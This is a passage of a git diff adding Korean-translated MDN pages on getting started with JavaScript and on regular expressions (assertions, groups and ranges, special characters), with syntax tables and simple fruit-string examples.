+<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript 와 ECMAScript 명세</h2>
+
+<p>JavaScript는 JavaScript에 기반한 표준화된 국제 프로그래밍 언어를 제공하기 위해<a class="external" href="http://www.ecma-international.org/">Ecma International</a> 에서 표준화 됩니다 — European association for standardizing information and communication systems (ECMA는 이전에 European Computer Manufacturers Association의 두문자어였습니다). ECMAScript라 불리는 이 JavaScript의 표준화 버전은 표준을 지원하는 모든 어플리케이션에서 같은 방식으로 동작합니다. 회사들은 그들의 JavaScript 구현을 개발하기 위해 공개 표준 언어를 사용할 수 있습니다. ECMAScript 표준은 ECMA-262 명세(specification)에서 문서화되었습니다. JavaScript와 ECMAScript 명세 판의 여러 버전에 대한 더 많은 것을 배우려면 <a href="/ko/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a> 을 보세요.</p>
+
+<p>ECMA-262 표준은 또한 IOS-16262로서 <a class="external" href="http://www.iso.ch/">ISO</a> (국제 표준화 기구) 에 의해 승인되었습니다. <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">Ecma International website</a> 에서 그 명세를 찾을 수 있습니다. ECMAScript 명세는 <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a> 나  <a href="https://whatwg.org/">WHATWG (Web Hypertext Application Technology Working Group)</a>에 의해 표준화된 Document Object Model (DOM)을 설명하지 않습니다. DOM은 여러분의 스크립트에 HTML 문서 객체를 드러내는 방법을 정의합니다. JavaScript로 프로그래밍을 할 때 사용되는 여러 기술들에 대한 정보를 얻으 시려면, <a href="/ko/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a> 를 참고하세요.</p>
+
+<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">JavaScript 문서 vs ECMAScript 명세</h3>
+
+<p>ECMAScript 명세는 ECMAScript 구현을 위한 요구사항의 집합입니다; 여러분이 여러분의 ECMAScript 구현이나 엔진(가령 Firefox의 SpiderMonkey, 또는 Chrome의 v8)에서 표준을 따르는 언어의 기능을 구현하길 원할 때 유용합니다.</p>
+
+<p>ECMAScript 문서는 스크립트 프로그래머를 돕기 위함이 아닙니다; 스크립트 작성을 위한 정보는 JavaScript 문서를 사용하세요.</p>
+
+<p>ECMAScript 명세는 JavaScript 프로그래머에게 익숙하지 않을 수 있는 용어와 문법을 사용합니다. 언어의 기술이 ECMAScript 에서 다를 수 있지만, 언어 그 자체는 같습니다. JavaScript는 ECMAScript 명세에 서술된 모든 기능을 지원합니다.</p>
+
+<p>JavaScript 문서는 JavaScript 프로그래머에게 적합한 언어의 측면을 설명합니다.</p>
+
+<h2 id="JavaScript_시작하기">JavaScript 시작하기</h2>
+
+<p>JavaScript 시작은 쉽습니다: 최신 웹 브라우저만 있으면 됩니다. 이 안내서는 현재 Firefox의 최신 버전에서만 사용 가능한 약간의 JavaScript 기능을 포함하므로, 가장 최신 버전의 Firefox를 사용하기를 권합니다.</p>
+
+<p>JavaScript를 실험하기 유용한 두 도구가 Firefox에 내장되어 있습니다: Web Console과 Scratchpad.</p>
+
+<h3 id="웹_콘솔">웹 콘솔</h3>
+
+<p><a href="/ko/docs/Tools/Web_Console">웹 콘솔</a>은 현재 로드된 페이지에 대한 정보를 보이고, 또한 여러분이 현재 페이지에서 JavaScript 식을 실행해볼 수 있는<a href="/ko/docs/Tools/Web_Console#The_command_line_interpreter"> 명령어 입력줄(command line)</a>을 제공합니다.</p>
+
+<p>웹 콘솔을 열기 위해서는, Firefox의 "도구" 메뉴 하위에 있는 "개발자" 메뉴의 "웹 콘솔"을 선택(윈도우와 리눅스에서는 <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>I</kbd>, 맥에서는  <kbd>Cmd</kbd>-<kbd>Option</kbd>-<kbd>K</kbd>)합니다. 브라우저 창의 아래에 웹 콘솔이 나타납니다. 콘솔의 바닥을 따라 나온 것이 여러분이 JavaScript를 입력할 수 있는 명령어 입력줄이고, 실행 결과는 바로 위 공간에 표시됩니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16569/2019-04-04_00-15-29.png" style="display: block; height: 1824px; margin-left: auto; margin-right: auto; width: 2784px;"></p>
+
+<p>이 콘솔은 eval과 완전히 동일하게 동작합니다:마지막 입력된 표현식이 반환되죠. 간단하게 생각해서, 콘솔에 뭔가 입력할 때마다 eval로 감싼 console.log로 둘러싸인 형태라고 보시면 됩니다.</p>
+
+<pre class="notranslate">function greetMe(yourName) { alert('Hello ' + yourName); } <code>console.log(eval('3 + 5'));</code></pre>
+
+<h3 id="Scratchpad">Scratchpad</h3>
+
+<p>Web Console은 한 줄 JavaScript를 실행하기에 훌륭합니다. 하지만 비록 여러 줄을 실행할 수 있지만, 아주 불편하고 Web Console을 사용해 여러분의 샘플 코드를 저장할 수도 없습니다. 그러므로 좀 더 복잡한 예제를 위해서는 <a href="ko/docs/도구들/Scratchpad">Scratchpad</a>가 더 나은 도구입니다.</p>
+
+<p>Scratchpad를 열기 위해, Firefox의 메뉴 "Tools" 의 하위에 있는 "Web Developer" 메뉴의 "Scratchpad" 를 선택합니다(단축키: <kbd>Shift</kbd>+<kbd>F4</kbd>). 이것은 분리된 창에서 열리고 브라우저에서 JavaScript를 작성하고 실행하기 위해 사용할 수 있는 에디터입니다. 여러분은 또한 디스크로부터 스크립트를 부르거나 저장할 수도 있습니다.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/13468/scratchpad.png"></p>
+
+<h3 id="Hello_world">Hello world</h3>
+
+<p>JavaScript 작성을 시작하기 위해서, Scratchpad를 열고 첫 JavaScript 코드 "Hello World" 를 작성하세요.</p>
+
+<pre class="notranslate"><code>(function(){
+  "use strict";
+  /* Start of your code */
+  function greetMe(yourName) {
+    alert('Hello ' + yourName);
+  }
+
+  greetMe('World');
+  /* End of your code */
+})();</code></pre>
+
+<p>패드에서 코드를 선택하고 Ctrl + R 키를 눌러 브라우저에서 펼쳐지는 것을 지켜보십시오! 다음 페이지에서 이 가이드는 JavaScript 구문 및 언어 기능을 소개하므로보다 복잡한 응용 프로그램을 작성할 수 있습니다. 그러나 당분간은 <code>(function () { "use strict"</code>를 코드 앞에 추가하고<code>}}) ();</code>를 코드마지막에 추가하세요. 아직은 이코드가 뭔지 잘 모르겠지만 나중에 이 코드가 의미하는 것을 배울 것입니다, 지금은 간단히 다음과 같다고 생각하세요.</p>
+
+<ol>
+ <li>성능을 크게 개선합니다.</li>
+ <li>초보자가 실수하게 만드는 Javascript의 일부 시맨틱을 막습니다.</li>
+ <li>콘솔에서 실행되는 코드 스니펫이 서로 상호 작용하지 못하도록합니다 (예 : 한 콘솔 실행에서 생성 된 내용을 다른 콘솔 실행에 사용하는 경우).</li>
+</ol>
+
+<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
diff --git a/files/ko/web/javascript/guide/정규식/assertions/index.html b/files/ko/web/javascript/guide/정규식/assertions/index.html
new file mode 100644
index 0000000000..350c50f8f9
--- /dev/null
+++ b/files/ko/web/javascript/guide/정규식/assertions/index.html
@@ -0,0 +1,244 @@
+---
+title: Assertions
+slug: Web/JavaScript/Guide/정규식/Assertions
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Assertions에는 행이나 단어의 시작 · 끝을 나타내는 경계와 (앞, 뒤 읽고 조건식을 포함한) 어떤 식 으로든 매치가 가능한 것을 나타내는 다른 패턴이 포함됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-assertions.html", "taller")}}</div>
+
+<h2 id="Types">Types</h2>
+
+<h3 id="Boundary-type_assertions">Boundary-type assertions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Characters</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>^</code></td>
+   <td>
+    <p>Matches the beginning of input. If the multiline flag is set to true, also matches immediately after a line break character. For example, <code>/^A/</code> does not match the "A" in "an A", but does match the first "A" in "An A".</p>
+
+    <div class="blockIndicator note">
+    <p>This character has a different meaning when it appears at the start of a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">group</a>.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>$</code></td>
+   <td>
+    <p>Matches the end of input. If the multiline flag is set to true, also matches immediately before a line break character. For example, <code>/t$/</code> does not match the "t" in "eater", but does match it in "eat".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>
+    <p>Matches a word boundary. This is the position where a word character is not followed or preceded by another word-character, such as between a letter and a space. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero.</p>
+
+    <p>Examples:</p>
+
+    <ul>
+     <li><code>/\bm/</code> matches the "m" in "moon".</li>
+     <li><code>/oo\b/</code> does not match the "oo" in "moon", because "oo" is followed by "n" which is a word character.</li>
+     <li><code>/oon\b/</code> matches the "oon" in "moon", because "oon" is the end of the string, thus not followed by a word character.</li>
+     <li><code>/\w\b\w/</code> will never match anything, because a word character can never be followed by both a non-word and a word character.</li>
+    </ul>
+
+    <p>To match a backspace character (<code>[\b]</code>), see <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Character Classes</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\B</code></td>
+   <td>
+    <p>Matches a non-word boundary. This is a position where the previous and next character are of the same type: Either both must be words, or both must be non-words, for example between two letters or between two spaces. The beginning and end of a string are considered non-words. Same as the matched word boundary, the matched non-word boundary is also not included in the match. For example, <code>/\Bon/</code> matches "on" in "at noon", and <code>/ye\B/</code> matches "ye" in "possibly yesterday".</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Other_assertions">Other assertions</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The <code>?</code> character may also be used as a quantifier.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Characters</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>x(?=y)</code></td>
+   <td>
+    <p><strong>Lookahead assertion: </strong>Matches "x" only if "x" is followed by "y". For example, /<code>Jack(?=Sprat)/</code> matches "Jack" only if it is followed by "Sprat".<br>
+     <code>/Jack(?=Sprat|Frost)/</code> matches "Jack" only if it is followed by "Sprat" or "Frost". However, neither "Sprat" nor "Frost" is part of the match results.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>x(?!y)</code></td>
+   <td>
+    <p><strong>Negative lookahead assertion: </strong>Matches "x" only if "x"<span> is not followed by </span>"y"<span>.</span> For example, <code>/\d+(?!\.)/</code><span> matches a number only if it is not followed by a decimal point. </span><code>/\d+(?!\.)/.exec('3.141')</code> matches "141" but not "3.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;=y)x</code></td>
+   <td>
+    <p><strong>Lookbehind assertion: </strong>Matches "x" only if "x" is preceded by "y". For example, <code>/(?&lt;=Jack)Sprat/</code><span> matches "Sprat" only if it is preceded by "Jack". </span><code>/(?&lt;=Jack|Tom)Sprat/</code> matches "Sprat" only if it is preceded by "Jack" or "Tom". However, neither "Jack" nor "Tom" is part of the match results.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;!y)x</code></td>
+   <td>
+    <p><strong>Negative lookbehind assertion: </strong>Matches "x" only if "x" is not preceded by "y". For example, <code>/(?&lt;!-)\d+/</code><span> matches a number only if it is not preceded by a minus sign. </span><code>/(?&lt;!-)\d+/.exec('3')</code> matches "3". <code>/(?&lt;!-)\d+/.exec('-3')</code>  match is not found because the number is preceded by the minus sign.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="General_boundary-type_overview_example">General boundary-type overview example</h3>
+
+<pre class="brush: js notranslate">// Using Regex boundaries to fix buggy string.
+buggyMultiline = `tey, ihe light-greon apple
+tangs on ihe greon traa`;
+
+// 1) Use ^ to fix the matching at the begining of the string, and right after newline.
+buggyMultiline = buggyMultiline.replace(/^t/gim,'h');
+console.log(1, buggyMultiline); // fix 'tey', 'tangs' =&gt; 'hey', 'hangs'. Avoid 'traa'.
+
+// 2) Use $ to fix matching at the end of the text.
+buggyMultiline = buggyMultiline.replace(/aa$/gim,'ee.');
+console.log(2, buggyMultiline); // fix  'traa' =&gt; 'tree'.
+
+// 3) Use \b to match characters right on border between a word and a space.
+buggyMultiline = buggyMultiline.replace(/\bi/gim,'t');
+console.log(3, buggyMultiline); // fix  'ihe' but does not touch 'light'.
+
+// 4) Use \B to match characters inside borders of an entity.
+fixedMultiline = buggyMultiline.replace(/\Bo/gim,'e');
+console.log(4, fixedMultiline); // fix  'greon' but does not touch 'on'.
+</pre>
+
+<h3 id="Matching_the_beginning_of_an_input_using_a_control_character">Matching the beginning of an input using a ^ control character</h3>
+
+<p>입력 시작시 일치를 위해 <code>^</code>를 사용하십시오. 이 예에서는 <code>/^A/</code> regex로 'A'로 시작하는 결과를 얻습니다. 여기서 <code>^</code>는 한 가지 역할 만합니다. 적절한 결과를 보기위해 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표</a> 함수가있는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">필터</a> 메소드를 사용합니다.</p>
+
+<pre class="brush: js notranslate">let fruits = ["Apple", "Watermelon", "Orange", "Avocado", "Strawberry"];
+
+// Select fruits started with 'A' by /^A/ Regex.
+// Here '^' control symbol used only in one role: Matching begining of an input.
+
+let fruitsStartsWithA = fruits.filter(fruit =&gt; /^A/.test(fruit));
+console.log(fruitsStartsWithA); // [ 'Apple', 'Avocado' ]
+</pre>
+
+<p>두 번째 예제에서 <code>^</code>는 두 가지 모두에 사용됩니다 : 입력의 일치 시작점, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">그룹</a>에서 사용될 때 부정 또는 보완 문자 세트.</p>
+
+<pre class="brush: js notranslate">let fruits = ["Apple", "Watermelon", "Orange", "Avocado", "Strawberry"];
+
+// Selecting fruits that dose not start by 'A' by a /^[^A]/ regex.
+// In this example, two meanings of '^' control symbol are represented:
+// 1) Matching begining of the input
+// 2) A negated or complemented character set: [^A]
+// That is, it matches anything that is not enclosed in the brackets.
+
+let fruitsStartsWithNotA = fruits.filter(fruit =&gt; /^[^A]/.test(fruit));
+
+console.log(fruitsStartsWithNotA); // [ 'Watermelon', 'Orange', 'Strawberry' ]</pre>
+
+<h3 id="Matching_a_word_boundary">Matching a word boundary</h3>
+
+<pre class="brush: js notranslate">let fruitsWithDescription = ["Red apple", "Orange orange", "Green Avocado"];
+
+// Select descriptions that contains 'en' or 'ed' words endings:
+let enEdSelection = fruitsWithDescription.filter(descr =&gt; /(en|ed)\b/.test(descr));
+
+console.log(enEdSelection); // [ 'Red apple', 'Green Avocado' ]</pre>
+
+<h3 id="Lookahead_assertion">Lookahead assertion</h3>
+
+<pre class="brush: js notranslate">// JS Lookahead assertion x(?=y)
+
+let regex = /First(?= test)/g;
+
+console.log('First test'.match(regex)); // [ 'First' ]
+console.log('First peach'.match(regex)); // null
+console.log('This is a First test in a year.'.match(regex)); // [ 'First' ]
+console.log('This is a First peach in a month.'.match(regex)); // null
+</pre>
+
+<h3 id="Basic_negative_lookahead_assertion">Basic negative lookahead assertion</h3>
+
+<p>For example, <code>/\d+(?!\.)/</code><span> matches a number only if it is not followed by a decimal point. </span><code>/\d+(?!\.)/.exec('3.141')</code> matches "141" but not "3.</p>
+
+<pre class="brush: js notranslate">console.log(/\d+(?!\.)/g.exec('3.141')); // [ '141', index: 2, input: '3.141' ]
+</pre>
+
+<h3 id="Different_meaning_of_!_combination_usage_in_Assertions_and_Ranges">Different meaning of '?!' combination usage in Assertions and  Ranges </h3>
+
+<p>Different meaning of <code>?!</code> combination usage in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">Assertions</a> <code>/x(?!y)/ </code>and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Ranges</a> <code>[^?!]</code>.</p>
+
+<pre class="brush: js notranslate">let orangeNotLemon = "Do you want to have an orange? Yes, I do not want to have a lemon!";
+
+// Different meaning of '?!' combination usage in Assertions /x(?!y)/ and  Ranges /[^?!]/
+let selectNotLemonRegex = /[^?!]+have(?! a lemon)[^?!]+[?!]/gi
+console.log(orangeNotLemon.match(selectNotLemonRegex)); // [ 'Do you want to have an orange?' ]
+
+let selectNotOrangeRegex = /[^?!]+have(?! an orange)[^?!]+[?!]/gi
+console.log(orangeNotLemon.match(selectNotOrangeRegex)); // [ ' Yes, I do not want to have a lemon!' ]
+</pre>
+
+<h3 id="Lookbehind_assertion">Lookbehind assertion</h3>
+
+<pre class="brush: js notranslate">let oranges = ['ripe orange A ', 'green orange B', 'ripe orange C',];
+
+let ripe_oranges = oranges.filter( fruit =&gt; fruit.match(/(?&lt;=ripe )orange/));
+console.log(ripe_oranges); // [ 'ripe orange A ', 'ripe orange C' ]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assertion', 'RegExp: Assertions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>For browser compatibility information, check out the <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Browser_compatibility">main Regular Expressions compatibility table</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular expressions guide</a>
+
+  <ul>
+   <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Character classes</a></li>
+   <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">Quantifiers</a></li>
+   <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">Unicode property escapes</a></li>
+   <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Groups and ranges</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp">The <code>RegExp()</code> constructor</a></li>
+</ul>
diff --git a/files/ko/web/javascript/guide/정규식/groups_and_ranges/index.html b/files/ko/web/javascript/guide/정규식/groups_and_ranges/index.html
new file mode 100644
index 0000000000..2e2109b4ed
--- /dev/null
+++ b/files/ko/web/javascript/guide/정규식/groups_and_ranges/index.html
@@ -0,0 +1,91 @@
+---
+title: Groups and Ranges
+slug: Web/JavaScript/Guide/정규식/Groups_and_Ranges
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>그룹(Groups)과 범위(ranges)는 표현 문자의 그룹과 범위를 나타냅니다.</p>
+
+<h2 id="Types">Types</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Characters</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><em>x</em>|<em>y</em></code></td>
+   <td>
+    <p><code>x</code>또는 <code>y</code>와 매칭되는 경우. 예를들면 <code>/green|red/</code> 은 "green apple"의 "green"과 매치되고 "red apple"의 "red"와 매치됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>[xyz]<br>
+    [a-c]</code></td>
+   <td>
+    <p>A character set. Matches any one of the enclosed characters. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character. It is also possible to include a character class in a character set.</p>
+
+    <p>For example, <code>[abcd]</code> is the same as <code>[a-d]</code>. They match the "b" in "brisket" and the "c" in "chop".</p>
+
+    <p>For example, [abcd-] and [-abcd] match the "b" in "brisket", the "c" in "chop" and the "-" (hyphen) in "non-profit".</p>
+
+    <p>For example, [\w-] is the same as [A-Za-z0-9_-]. They match the "b" in "brisket", the "c" in "chop" and the "n" in "non-profit".</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>[^xyz]<br>
+     [^a-c]</code></p>
+   </td>
+   <td>
+    <p>A negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character. For example, <code>[^abc]</code> is the same as <code>[^a-c]</code>. They initially match "o" in "bacon" and "h" in "chop".</p>
+
+    <div class="blockIndicator note">
+    <p>The ^ character may also indicate the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">beginning of input</a>.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(<em>x</em>)</code></td>
+   <td>
+    <p><strong>Capturing group: </strong>Matches <code><em>x</em></code> and remembers the match. For example, <code>/(foo)/</code> matches and remembers "foo" in "foo bar". </p>
+
+    <p>A regular expression may have multiple capturing groups. In results, matches to capturing groups typically in an array whose members are in the same order as the left parentheses in the capturing group. This is usually just the order of the capturing groups themselves. This becomes important when capturing groups are nested. Matches are accessed using the index of the the result's elements (<code>[1], ..., [n]</code>) or from the predefined <code>RegExp</code> object's properties (<code>$1, ..., $9</code>).</p>
+
+    <p>Capturing groups have a performance penalty. If you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below).</p>
+
+    <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">String.match()</a></code> won't return groups if the <code>/.../g</code> flag is set. However, you can still use <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll">String.matchAll()</a></code> to get all matches.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\<em>n</em></code></td>
+   <td>
+    <p>Where <code><em>n</em></code> is a positive integer. A back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses). For example, <code>/apple(,)\sorange\1/</code> matches "apple, orange," in "apple, orange, cherry, peach". A complete example follows this table.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;Name&gt;x)</code></td>
+   <td>
+    <p><strong>Named capturing group: </strong>Matches <code>x</code> and stores it on the groups property of the returned matches under the name specified by <code>&lt;Name&gt;</code>. The angle brackets ('<code>&lt;</code>' and '<code>&gt;</code>') are required for group name.</p>
+
+    <p>For example, to extract the United States area code from a phone number, I could use <code>/\((?&lt;area&gt;\d\d\d)\)/</code>. The resulting number would appear under <code>matches.groups.area</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?:<em>x</em>)</code></td>
+   <td><strong>Non-capturing group: </strong>Matches <code><em>x</em></code> but does not remember the match. The matched substring cannot be recalled from the resulting array's elements (<code>[1], ..., [n]</code>) or from the predefined <code>RegExp</code> object's properties (<code>$1, ..., $9</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>Firefox currently doesn't support named groups. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1362154">corresponding issue</a>.</p>
+
+<h2 id="See_also">See also</h2>
diff --git a/files/ko/web/javascript/guide/정규식/index.html b/files/ko/web/javascript/guide/정규식/index.html
new file mode 100644
index 0000000000..5fbbcef0a0
--- /dev/null
+++ b/files/ko/web/javascript/guide/정규식/index.html
@@ -0,0 +1,666 @@
+---
+title: 정규 표현식
+slug: Web/JavaScript/Guide/정규식
+tags:
+  - 자바스크립트
+  - 정규식
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</div>
+
+<p class="summary">정규 표현식은 문자열에 나타는 특정 문자 조합과 대응시키기 위해 사용되는 패턴입니다. 자바스크립트에서, 정규 표현식 또한 객체입니다.  이 패턴들은 {{jsxref("RegExp")}}의 {{jsxref("RegExp.exec", "exec")}} 메소드와 {{jsxref("RegExp.test", "test")}} 메소드  ,그리고 {{jsxref("String")}}의  {{jsxref("String.match", "match")}}메소드 , {{jsxref("String.replace", "replace")}}메소드 , {{jsxref("String.search", "search")}}메소드 ,  {{jsxref("String.split", "split")}} 메소드와 함께 쓰입니다 . 이 장에서는 자바스크립트의 정규식에 대하여 설명합니다.</p>
+
+<h2 id="정규_표현식_만들기">정규 표현식 만들기</h2>
+
+<p>(역주: 정규 표현식을 줄여서 '정규식'이라고 하기도 합니다. 아래 부분부터 '정규식'이라는 용어를 사용하겠습니다.)</p>
+
+<p>정규식을 만드는 방법에는 두 가지가 있습니다.</p>
+
+<p>정규식 리터럴(슬래쉬"/"로 감싸는 패턴)을 사용하는 방법은 다음과 같습니다.</p>
+
+<pre class="brush: js">var re = /ab+c/;
+</pre>
+
+<p>정규식 리터럴은 스크립트가 불러와질 때 컴파일됩니다. 만약 정규식이 상수라면, 이렇게 사용하는 것이 성능을 향상시킬 수 있습니다.</p>
+
+<p>다른 방법으로는,  {{jsxref("RegExp")}} 객체의 생성자 함수를 호출하는 방법도 있습니다:</p>
+
+<pre class="brush: js">var re = new RegExp("ab+c");
+</pre>
+
+<p>생성자 함수를 사용하면 정규식이 실행 시점에 컴파일됩니다. 정규식의 패턴이 변경될 수 있는 경우, 혹은 사용자 입력과 같이 다른 출처로부터 패턴을 가져와야 하는 경우에는 생성자 함수를 사용하세요.</p>
+
+<h2 id="정규식_패턴_작성하기">정규식 패턴 작성하기</h2>
+
+<p>정규식 패턴은 <code>/abc/</code> 같이 단순 문자로 구성될 수도 있고, <code>/ab*c/</code> 또는 <code>/Chapter (\d+)\.\d*/</code>와 같이 단순 문자와 특수 문자의 조합으로 구성될 수도 있습니다. 마지막 예제는 기억장치처럼 쓰이는 괄호를 포함하고 있습니다. {{web.link("#.ED.8C.A8.ED.84.B4.ED.99.94.EB.90.9C_.EB.B6.80.EB.B6.84_.EB.AC.B8.EC.9E.90.EC.97.B4_.EC.9D.BC.EC.B9.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0", "패턴화된 부분 문자열 일치 사용하기") }}에서 설명하는것 처럼 패턴에서 괄호를 포함한 부분은 나중에 사용하기 위하여 저장됩니다.</p>
+
+<h3 id="단순_패턴_사용하기">단순 패턴 사용하기</h3>
+
+<p>단순 패턴은 문자열을 있는 그대로 대응시키고자 할 때 사용됩니다. 예를 들어, <code>/abc/</code>라는 패턴은 문자열에서 정확히 'abc' 라는 문자들이 모두 함께 순서대로 나타나야 대응됩니다. 위의 패턴은 "Hi, do you know your abc's?" 와 "The latest airplane designs evolved from slabcraft." 두가지 예에서 부분 문자열 'abc'에 대응될 것입니다.  'Grab crab' 이라는 문자열에서 'ab c' 라는 부분 문자열을 포함하고 있지만, 'abc'를 정확하게 포함하고 있지 않기 때문에 대응되지 않습니다.</p>
+
+<h3 id="특수_문자_사용하기">특수 문자 사용하기</h3>
+
+<p>검색에서 하나 이상의 b들을 찾거나, 혹은 공백을 찾는 것과 같이 '있는 그대로의 대응' 이상의 대응을 필요로 할 경우, 패턴에 특수한 문자를 포함시킵니다. 예를 들어, <code>/ab*c/</code> 패턴은  'a' 문자 뒤에 0개 이상의 'b' 문자(<code>*</code> 문자는 바로 앞의 문자가 0개 이상이라는 것을 의미합니다)가 나타나고 바로 뒤에 'c' 문자가 나타나는 문자 조합에 대응됩니다. 문자열 "cbbabbbbcdebc," 에서 위의 패턴은 부분 문자열 'abbbbc' 와 대응됩니다.</p>
+
+<p>아래 표는 정규식에서 사용되는 모든 특수문자 목록 및 그에 대한 설명입니다.</p>
+
+<table class="standard-table">
+ <caption>정규식에서의 특수문자</caption>
+ <thead>
+  <tr>
+   <th scope="col">Character</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="#special-backslash" id="special-backslash" name="special-backslash"><code>\</code></a></td>
+   <td>
+    <p>다음의 규칙에 따라 일치합니다:<br>
+     <br>
+     특수 문자가 아닌 문자(non-special character) 앞에서 사용된 백슬래시는 '해당 문자는 특별하고, 문자 그대로 해석되면 안된다'는 사실을 가리킵니다. 예를 들어, 앞에 \가 없는 '<code>b</code>'는 보통 소문자 b가 나오는 패턴과 대응됩니다. 그러나 '<code>\b</code>' 자체는 어떤 문자와도 대응되지 않습니다; 이 문자는 특별한 <a href="#special-word-boundary" title="#special-word-boundary">단어 경계 문자</a>를 형성합니다.<br>
+     <br>
+     특수 문자 앞에 위치한 백슬래시는 '다음에 나오는 문자는 특별하지않고, 문자 그대로 해석되어야 한다'는 사실을 가리킵니다. 예를 들어, 패턴 <code>/a*/</code> 에서의 특수문자 '<code>*</code>'는 0개 이상의 'a' 문자가 등장함을 나타냅니다. 이와는 다르게, 패턴 <code>/a\*/</code> 는 '<code>*</code>'이 특별하지 않다는 것을 나타내며, 'a*'와 같은 문자열과 대응될 수 있습니다.<br>
+     <br>
